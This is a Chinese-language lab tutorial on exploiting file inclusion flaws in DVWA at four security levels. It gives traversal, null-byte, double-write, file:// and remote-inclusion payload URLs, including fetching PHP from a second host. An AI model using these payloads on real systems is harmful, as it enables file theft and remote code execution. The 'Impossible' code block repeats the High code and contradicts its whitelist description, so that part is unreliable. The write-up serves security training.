根據原創作者：lonehand進行更改，來自FreeBuf.COM
目前，最新的DVWA已經更新到1.9版本(http://www.dvwa.co.uk/)，而網上的教程大多停留在舊版本，且沒有針對DVWA high級別的教程，因此萌發了一個撰寫新手教程的想法，錯誤的地方還請大家指正。
DVWA簡介
DVWA(Damn Vulnerable Web Application)是一個用來進行安全脆弱性鑑定的PHP/MySQL Web應用，旨在為安全專業人員測試自己的專業技能和工具提供合法的環境，幫助web開發者更好的理解web應用安全防範的過程。
DVWA共有十個模組，分別是
Brute Force(暴力破解)
Command Injection(命令列注入)
CSRF(跨站請求偽造)
File Inclusion(檔案包含)
File Upload(檔案上傳)
Insecure CAPTCHA (不安全的驗證碼)
SQL Injection(SQL注入)
SQL Injection(Blind)(SQL盲注)
XSS(Reflected)(反射型跨站指令碼)
XSS(Stored)(儲存型跨站指令碼)
需要注意的是，DVWA 1.9的程式碼分為四種安全級別：Low，Medium，High，Impossible。初學者可以通過比較四種級別的程式碼，接觸到一些

DVWA的搭建
Freebuf上的這篇文章《新手指南：手把手教你如何搭建自己的滲透測試環境》(http://www.freebuf.com/sectool/102661.html)已經寫得非常好了，在這裡就不贅述了。
File Inclusion

File Inclusion，意思是檔案包含漏洞，是指當伺服器開啟allow_url_include選項時，就可以通過php的某些特性函式(include()，require()和include_once()，require_once())利用url去動態包含檔案，此時如果沒有對檔案來源進行嚴格審查，就會導致任意檔案讀取或者任意命令執行。檔案包含漏洞分為本地檔案包含漏洞與遠端檔案包含漏洞，遠端檔案包含漏洞是因為開啟了php配置中的allow_url_fopen選項(選項開啟之後，伺服器允許包含一個遠端的檔案)。

檔案包含漏洞的一般特徵如下：

?page=a.PHP

?home=a.html

?file=content

目錄遍歷（Directory traversal）和檔案包含（File include）的一些區別：

目錄遍歷是可以讀取web根目錄以外的其他目錄，根源在於web application的路徑訪問許可權設定不嚴，針對的是本系統。

檔案包含是通過include函式將web根目錄以外的目錄的檔案被包含進來，分為LFI本地檔案包含和RFI遠端檔案包含

幾種經典的測試方法：

?file=../../../../../etc/passwdd

?page=file:///etc/passwd

?home=main.cgi

?page=http://www.a.com/1.php

http://1.1.1.1/../../../../dir/file.txt

（通過多個../可以讓目錄回到根目錄中然後再進入目標目錄）

編碼繞過字元過濾：

可以使用多種編碼方式進行繞過

%00嵌入任意位置

.的利用

下面對四種級別的程式碼進行分析。
Low
伺服器端核心程式碼

路徑：E:\phpStudy\WWW\DVWA\vulnerabilities\fi\source

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?>

可以看到，伺服器端對page引數沒有做任何的過濾跟檢查。伺服器期望使用者的操作是點選下面的三個連結，伺服器會包含相應的檔案，並將結果返回。需要特別說明的是，伺服器包含檔案時，不管檔案字尾是否是php，都會嘗試當做php檔案執行，如果檔案內容確為php，則會正常執行並返回結果，如果不是，則會原封不動地列印檔案內容，所以檔案包含漏洞常常會導致任意檔案讀取與任意命令執行。現實中，惡意的攻擊者是不會乖乖點選這些連結的，因此page引數是不可控的。

構造url如下。
http://10.10.10.139/DVWA/vulnerabilities/fi/?page=/etc/shadow

報錯，顯示沒有這個檔案，說明不是伺服器系統不是Linux，但同時暴露了伺服器檔案的絕對路徑E:\phpStudy\WWW\DVWA\vulnerabilities\fi\index.php

構造url如下。
http://10.10.10.139/DVWA/vulnerabilities/fi/?page=E:\phpStudy\WWW\DVWA\php.ini
成功讀取了伺服器的php.ini檔案。

構造url如下。（檔案路徑哪種斜槓都沒關係）
http://10.10.10.139/DVWA/vulnerabilities/fi/?page=..\..\..\..\WWW\DVWA\php.ini
加這麼多..\是為了保證到達伺服器的E盤根目錄，可以看到讀取是成功的。

同時我們看到，配置檔案中的Magic_quote_gpc選項為off。

在PHP4.0及以上的版本中，該選項預設情況下是開啟的，5.4之後的版本已經刪除了這個Magic_quote_gpc

在php版本小於5.3.4的伺服器中，當Magic_quote_gpc選項為off時，我們可以在檔名中使用%00進行截斷，也就是說檔名中%00後的內容不會被識別，即下面兩個url是完全等效的。 

A)http://10.10.10.139/DVWA/vulnerabilities/fi/?page=..\..\..\..\WWW\DVWA\php.ini
B)http://10.10.10.139/DVWA/vulnerabilities/fi/?page=..\..\..\..\WWW\DVWA\php.ini%0012.php

現在我的php版本為

訪問http://10.10.10.139/DVWA/vulnerabilities/fi/?page=..\..\..\..\WWW\DVWA\php.ini%0012.php

現在我把php切換成

然後在訪問http://10.10.10.139/DVWA/vulnerabilities/fi/?page=..\..\..\..\WWW\DVWA\php.ini%0012.php

使用%00截斷可以繞過某些過濾規則，例如要求page引數的字尾必須為php，這時連結A會讀取失敗，而連結B可以繞過規則成功讀取。
當伺服器的php配置中選項allow_url_fopen與allow_url_include為開啟狀態時，伺服器會允許包含遠端伺服器上的檔案。如果對檔案來源沒有檢查的話，就容易導致任意遠端程式碼執行。在遠端伺服器10.10.10.151上傳一個phpinfo.txt檔案，內容如下。

<?php
phpinfo();
?>

成功執行。

為了增加隱蔽性，可以對http://10.10.10.139/DVWA/vulnerabilities/fi/?page=http://10.10.10.151/phpinfo.txt進行編碼，同樣可以執行成功。

Medium
伺服器端核心程式碼

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?>

可以看到，Medium級別的程式碼增加了str_replace函式，對page引數進行了一定的處理，將”http:// ”、”https://”、 ” ../”、”..\”替換為空字元，即刪除,這裡只是過濾了遠端包含，但沒有過濾本地包含

使用str_replace函式是極其不安全的，因為可以使用雙寫繞過替換規則。例如page=htthttp://p://10.10.10.151/phpinfo.txt時，str_replace函式會將http://刪除，於是page=http://10.10.10.151/phpinfo.txt，成功執行遠端命令。

同時，因為替換的只是“../”、“..\”，所以對採用絕對路徑的方式包含檔案是不會受到任何限制的。

這裡我們用.../

因為沒有過濾本地包含所以還這樣還是可以

http://10.10.10.139/DVWA/vulnerabilities/fi/?page=E:\phpStudy\WWW\phpinfo.php

High
伺服器端核心程式碼

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
	// This isn't the page we want!
	echo "ERROR: File not found!";
	exit;
}

?>

可以看到，High級別的程式碼使用了fnmatch函式檢查page引數，要求page引數的開頭必須是file，伺服器才會去包含相應的檔案。
High級別的程式碼規定只能包含file開頭的檔案，看似安全，不幸的是我們依然可以利用file協議繞過防護策略。file協議其實我們並不陌生，當我們用瀏覽器開啟一個本地檔案時，用的就是file協議，如下圖。

我們構造如下URL：

http://10.10.10.139/DVWA/vulnerabilities/fi/?page=file:///E:\phpStudy\WWW\DVWA\php.ini

這裡的file:///，斜槓必須為/而且數量要大於一個 

Impossible
伺服器端核心程式碼

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
	// This isn't the page we want!
	echo "ERROR: File not found!";
	exit;
}

?>

可以看到，Impossible級別的程式碼使用了白名單機制進行防護，簡單粗暴，page引數必須為“include.php”、“file1.php”、“file2.php”、“file3.php”之一，徹底杜絕了檔案包含漏洞。